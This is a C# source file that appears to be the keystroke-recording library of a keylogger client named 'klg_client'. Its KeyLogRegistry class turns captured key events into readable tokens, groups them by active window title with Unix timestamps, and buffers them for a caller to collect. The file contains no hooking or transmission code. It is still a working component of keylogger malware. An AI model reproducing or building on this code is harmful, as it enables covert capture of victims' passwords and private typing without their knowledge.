﻿using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
using System.Windows.Forms;

namespace klg_client.library
{
    public class KeyLogDto
    {
        public string Window { get; set; }
        public string KeySeq { get; set; }
        public long Time { get; set; }
    }

    public class KeyLogRegistry
    {
        private string _lastWindow = "";
        private string _keyseq = "";
        private Keys _lastKey = Keys.None;
        List<KeyLogDto> _keyLogs = new List<KeyLogDto>();

        public KeyLogRegistry()
        {
            
        }

        public bool IsCombinedKey(Keys key)
        {
            return key == Keys.LControlKey || key == Keys.RControlKey ||
                   key == Keys.LMenu || key == Keys.RMenu ||
                   key == Keys.LWin || key == Keys.RWin ||
                   key == Keys.LShiftKey || key == Keys.RShiftKey;
        }

        private string FriendlyKeyName(string key)
        {
            switch (key)
            {
                case "\r":
                    return "[enter]";
                case " ":
                    return "[space]";
                case "\t":
                    return "[tab]";
                case "\b":
                    return "[bkspace]";
                case "\u001B":
                    return "[escape]";
            }
            return key;
        }

        private string FriendlyKeyName(Keys key)
        {
            switch (key)
            {
                case Keys.LControlKey:
                case Keys.RControlKey:
                    return "[ctrl]";
                case Keys.LMenu:
                    return "[alt]";
                case Keys.RMenu:
                    return "[altgr]";
                case Keys.LWin:
                case Keys.RWin:
                    return "[win]";
                case Keys.LShiftKey:
                case Keys.RShiftKey:
                    return "[shift]";
                case Keys.Apps:
                    return "[rclick]";
                default:
                    return "[" + key.ToString().ToLower() + "]";
            }
        }

        public void AddKeyLogDown(string window, Keys key, string ch, DateTime time)
        {
            if (IsCombinedKey(key) && key != _lastKey)
            {
                _lastKey = key;
                AddKeyLog(window, key, ch, time, "[down]");
            }
        }

        public void AddKeyLogPress(string window, Keys key, string ch, DateTime time)
        {
            if (!IsCombinedKey(key))
            {
                AddKeyLog(window, key, ch, time, "");
            }
        }


        public void AddKeyLogUp(string window, Keys key, string ch, DateTime time)
        {
            if (IsCombinedKey(key))
            {
                AddKeyLog(window, key, ch, time, "[up]");
                _lastKey = Keys.None;
            }
        }

        private void AddKeyLog(string window, Keys key, string ch, DateTime time, string prefix)
        {

            //Debug.WriteLine("window = [" + window + "] lastwindow = [" + _lastWindow + "]");
            if (string.IsNullOrEmpty(_lastWindow))
            {
                if (string.IsNullOrEmpty(ch))
                    _keyseq += prefix + FriendlyKeyName(key);
                else
                    _keyseq += prefix + FriendlyKeyName(ch);

                _lastWindow = window;
                return;
            }


            if (window != _lastWindow)
            {
                if (!string.IsNullOrEmpty(_keyseq))
                {
                    _keyLogs.Add(new KeyLogDto
                    {
                        KeySeq = _keyseq, 
                        Window = _lastWindow, 
                        Time = DateConverter.ToUnixTimestamp(time)
                    });
                    _keyseq = "";
                    _lastWindow = window;
                }
            }

            if (string.IsNullOrEmpty(ch))
                _keyseq += prefix + FriendlyKeyName(key);
            else
                _keyseq += prefix + FriendlyKeyName(ch);

        }

        public void Clear()
        {
            _keyLogs.Clear();
        }

        public List<KeyLogDto> GetLog()
        {
            // act like a flush 
            _keyLogs.Add(new KeyLogDto { KeySeq = _keyseq.ToLower(), Window = _lastWindow, Time = DateConverter.ToUnixTimestamp(DateTime.Now) });
            _lastWindow = "";
            _keyseq = "";
            _lastKey = Keys.None;
            return _keyLogs;
        }
    }
}
